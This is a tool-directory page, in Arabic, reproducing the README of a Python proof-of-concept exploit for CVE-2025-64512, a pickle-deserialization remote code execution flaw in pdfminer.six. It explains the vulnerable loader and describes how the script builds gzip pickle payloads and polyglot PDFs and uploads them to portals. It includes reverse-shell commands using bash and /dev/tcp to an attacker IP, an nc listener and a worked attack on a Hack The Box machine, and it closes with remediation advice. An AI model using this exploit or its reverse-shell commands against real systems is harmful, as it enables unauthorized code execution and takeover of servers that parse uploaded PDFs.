Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64512_PoC — أداة PoC بلغة Python للثغرة CVE-2025-64512، وهي ثغرة تنفيذ تعليمات عن بُعد (RCE) عبر إلغاء تسلسل pickle في pdfminer.six. تُنشئ حمولات pickle مضغوطة بصيغة gzip وملفات PDF متعددة الصيغ (polyglot)، ثم تُرسلها إلى بوابات الرفع لإجراء اختبارات مصرّح بها. | Kitploit
أدوات/GitHubGitHub/jinook-kim/cve-2025-64512_poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالمحاكاة الافتراضية للأمانCTFاختبار الاختراقالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
jinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

أداة PoC بلغة Python للثغرة CVE-2025-64512، وهي ثغرة تنفيذ تعليمات عن بُعد (RCE) عبر إلغاء تسلسل pickle في pdfminer.six. تُنشئ حمولات pickle مضغوطة بصيغة gzip وملفات PDF متعددة الصيغ (polyglot)، ثم تُرسلها إلى بوابات الرفع لإجراء اختبارات مصرّح بها.

عرض المستودع
منذ 16س 19دلم تتم المراجعة بعد
مشاركة

CVE-2025-64512 — استغلال RCE في pdfminer.six

Python 3، stdlib فقط (بدون pip installs). لأغراض اختبار الأمان المصرّح به و استخدام CTF فقط — أنت مسؤول عن الامتثال للقانون وقواعد الاشتباك الخاصة بمهمتك.

CVECVE-2025-64512
المتأثرpdfminer.six < 20251107 (تم إصلاحه في 20251107 — أصبحت CMaps بصيغة JSON)
الضحايا التابعونmarkitdown < 0.1.4، pdfplumber < 0.11.8
النوعCWE-502 إلغاء تسلسل بيانات غير موثوقة → RCE بدون مصادقة
PoC المرجعيluigigubello/CVE-2025-64512-Polyglot-PoC (نسخة polyglot أحادية الملف)

الهدف المُختبَر: https://app.hackthebox.com/machines/Bedside


1. الثغرة، بعبارات مبسطة

pdfminer.six مكتبة Python شائعة لاستخراج النصوص من ملفات PDF. تحتاج خطوط PDF إلى CMaps — جداول تترجم رموز الأحرف إلى Unicode — ويشحنها pdfminer كـ pickles مضغوطة بـ gzip (<name>.pickle.gz) داخل حزمته الخاصة. انظر كيف يتم تحميل CMap (pdfminer/cmapdb.py، جميع الإصدارات قبل 20251107):

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

ثلاث ثغرات تتراكم:

  1. name يأتي من ملف PDF نفسه. مدخل /Encoding لخط Type0 (CID) هو name في PDF، والمهاجم يتحكم به بالكامل. لا يمكن أن تحتوي أسماء PDF على / خام، لذا تُكتب باستخدام تهريب hex القياسي RFC: الاسم /#2f#76#61#72#2f… يُفكّ إلى /var/….
  2. خدعة os.path.join. عندما تكون الوسيطة الثانية مطلقة، تُتجاهل الأولى تمامًا. لذا اسم مثل /var/www/site/uploads/shell يجعل pdfminer ينظر إلى /var/www/site/uploads/shell.pickle.gz — أي مسار على القرص — بدلاً من دليل CMap الخاص به.
  3. pickle.loads() على محتويات الملف. يمكن أن يحمل pickle تعليمات "أعد بناءي باستدعاء هذه الدالة" (__reduce__). إلغاء تسلسل بايتات المهاجم = تشغيل كود المهاجم، داخل أي عملية استدعت pdfminer.

متطلبات الاستغلال — الثغرة قابلة للاستغلال بشكل تافه على أي تطبيق يمنحك نصفي المعادلة:

  • طريقة لوضع ملف في مسار مطلق معروف (بوابة رفع؛ غالبًا ما يُسرَّب المسار في رسائل الخطأ)،
  • طريقة لجعل الخادم يحلل ملف PDF تتحكم به (عند الرفع، على نقطة نهاية تحويل، عبر مراقب خلفي/cron، …).

2. ما الذي يفعله السكربت

  1. يبني pickle مضغوط بـ gzip: {"__reduce__": eval("__import__('os').system('<your command>')")}.
  2. يبني ملف PDF بسيطًا لكن صالحًا هيكليًا، محتواه الوحيد صفحة تستخدم خط Type0 الذي يشير /Encoding الخاص به إلى المسار المطلق لـ pickle.
  3. يوصّله:
    • --mode two (افتراضي) — يرفع <name>.pickle.gz، ثم <name>.pdf. استخدم هذا كلما كان الهدف يحلل فقط الملفات ذات امتداد PDF (مثل مراقب يبحث عن uploads/*.pdf).
    • --mode polyglot — يرفع ملفًا واحدًا <name>.pickle.gz يكون كلاهما gzip-pickle صالح و PDF صالح: يختبئ ملف PDF بالكامل في حقل FCOMMENT لترويسة gzip (يسمح RFC 1952 بالتعليقات؛ توقيع %PDF- يقع عند البايت 10، وإزاحات xref مُقدَّمة مسبقًا ليبقى الجدول صالحًا). استخدم هذا عندما يحلل الهدف أي ملف مرفوع كـ PDF بغض النظر عن الامتداد (محوّلات بنمط markitdown).
  4. اختياريًا يتحقق من وصول الملفات (--verify)، ينتظر دورة معالجة الهدف (--wait)، ويمكنه إضافة callback oracle (--callback) يتصل بالمنزل قبل تشغيل أمرك — لتتمكن من إثبات التنفيذ حتى لو فشلت قناتك الرئيسية.

3. التثبيت

لا شيء للتثبيت — Python 3.10+ (يستخدم صيغة str | None):

root@kitploit:~
chmod +x cve_2025_64512.py

4. الاستخدام

4.1 تدرّب محليًا أولاً

أنشئ حمولات نموذجية و(إذا كان pdfminer المصاب قابلًا للاستيراد) نفّذها في Python الخاص بك لإثبات أن السلسلة تعمل قبل لمس أي هدف:

root@kitploit:~
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

ينتهي المخرجات المتوقعة بـ SELFTEST PASS لكل من مشغّل الملفين و polyglot. يمكنك أيضًا الاختبار يدويًا:

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # → your uid

4.2 بوابة رفع عامة (بنمط Bedside)

root@kitploit:~
# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

مرجع الوسائط الكامل:

الوسيطةالغرض
--commandأمر shell للتنفيذ على الهدف (مطلوب). يعمل تحت sh -c، لذا تعمل الأنابيب/إعادة التوجيه/الأصداف الفرعية.
--urlنقطة نهاية الرفع التي تستقبل POSTs متعددة الأجزاء.
--upload-urlتجاوز هدف POST إذا ذهبت الرفعات إلى URL مختلف عن --url.
--fieldاسم حقل multipart (اقرأ <form> HTML الخاص بالبوابة؛ الشائع: uploadFile، file).
--pathدليل من جانب الخادم مطلق حيث تصل الرفعات (مثل /var/www/site/uploads). يسمّي PDF الـ pickle هنا، لذا يجب أن يكون دقيقًا.
--leak-pathلا تعرف المسار؟ ارفع محتوى مشوّهًا واستخرجه من رسالة خطأ البوابة (العديد من البوابات تطبع الوجهة).
--nameالاسم الأساسي للملفات المُنشأة (افتراضي shell). عشوّنه إذا أعدت التشغيل لتجنب الملفات القديمة.
--modetwo (افتراضي) أو polyglot — انظر §2.
--callback URLأضف طلب HTTP fetch إلى URL قبل أمرك؛ شغّل python3 -m http.server 8000 وراقب الوصول. Oracle للتنفيذ.
--wait Nانتظر N ثانية بعد الرفع — طابق إيقاع معالجة الهدف (غالبًا ما يستطلع المراقبون/cron كل 30 ثانية؛ انتظر دورة كاملة قبل افتراض الفشل).
--verify /uploadsGET لكل ملف مرفوع بعد ذلك للتأكد من وصوله حيث يتوقعه PDF.
--timeout, --out-dir, --no-upload, --selftestمهلة HTTP، دليل الإخراج المحلي، وضع التوليد فقط، التدريب المحلي.

4.3 مثال عملي — HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # listener

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)

5. استكشاف الأخطاء وإصلاحها

العَرَضالسبب / الإصلاح
MIME type mismatch عند الرفعالبوابة تفحص المحتوى، وليس الامتداد فقط. كلا الحمولتين gzip حقيقي / PDF حقيقي — تحقق من أنك لم تقطعهما؛ يجب أن يبدأ trigger بـ %PDF-، ويجب أن يُفكّ ضغط pickle (gzip -t).
الرفع ناجح، لا شيء يُنفَّذ1) انتظر دورة مراقب/cron كاملة (--wait 35). 2) تأكد من أن pickle يمكن الوصول إليه في <path>/<name>.pickle.gz (--verify). 3) تحقق من أن العملية التي تشغّل pdfminer يمكنها قراءة ملفك. 4) استخدم --callback للحصول على إشارة تنفيذ قاطعة.
مسار الرفع غير معروف--leak-path، أو أطلق أي خطأ تحقق واقرأ الرسالة.
polyglot لا يُشغَّل أبدًايجب أن يكون الملف المُحلَّل هو نفس الملف المنتهي بـ .pickle.gz. إذا كان الهدف يحلل فقط رفعات *.pdf، استخدم --mode two.
TypeError: type.__new__() argument 3 must be dict في سجلات الهدفهذا نجاح — نفّذ pdfminer الـ pickle الخاص بك ثم تعثّر في قيمة إرجاعه الخاصة. غير ضار.
الهدف مُرقَّعpdfminer ≥ 20251107 يحمّل CMaps من JSON. لا شيء لاستغلاله هنا.

6. المعالجة (للمدافعين)

  • قم بالترقية إلى pdfminer.six ≥ 20251107؛ رقّع markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8.
  • لا تضع أبدًا ملفات قابلة للكتابة من المهاجم حيث يحلّل محلل المسارات من بيانات وصفية داخلية للملف؛ قدّم الرفعات من تخزين يمكن للمحلل القراءة منه فقط.
  • تعامل مع كل مزيل تسلسل كتنفيذ كود: pickle.loads، torch.load، yaml.load على بايتات غير موثوقة كلها نفس فئة الثغرة. فضّل الصيغ المعتمدة على البيانات فقط (JSON، Safetensors، ONNX).
  • عطّل ترويسات بنمط X-Powered-By وأعد أخطاء عامة — كلاهما سرّب قائمة المكونات على Bedside.
تنزيل الأداة